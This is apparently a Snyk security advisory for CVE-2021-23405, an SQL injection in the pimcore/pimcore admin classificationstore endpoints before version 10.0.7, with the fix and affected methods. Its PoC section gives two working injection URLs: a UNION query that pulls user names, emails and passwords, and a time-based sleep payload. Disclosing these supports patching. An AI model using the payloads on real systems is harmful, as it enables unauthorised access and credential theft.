SQL Injection Affecting pimcore/pimcore package, versions <10.0.7


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature
EPSS
0.14% (51st percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about SQL Injection vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-PHP-PIMCOREPIMCORE-1316297
  • published8 Jul 2021
  • disclosed8 Jul 2021
  • creditDaniele Scanu @SoterITSecurity

Introduced: 8 Jul 2021

CVE-2021-23405  (opens in a new tab)
CWE-89  (opens in a new tab)
First added by Snyk

How to fix?

Upgrade pimcore/pimcore to version 10.0.7 or higher.

Overview

pimcore/pimcore is a content & product management framework (CMS/PIM/E-Commerce).

Affected versions of this package are vulnerable to SQL Injection. This issue exists due to the absence of check on the storeId parameter in the method collectionsActionGet and groupsActionGet method within the ClassificationstoreController class.

PoC

Send the following GET request with the payload in storeId parameter

/admin/classificationstore/groups?_dc=1622204293193&storeId=1) union (select '12',name,'4',email,password,'7','8' from users) -- -

/admin/classificationstore/collections?_dc=1624542952813&storeId=1 or 1=1) union (select sleep(10)) -- -

References

CVSS Scores

version 3.1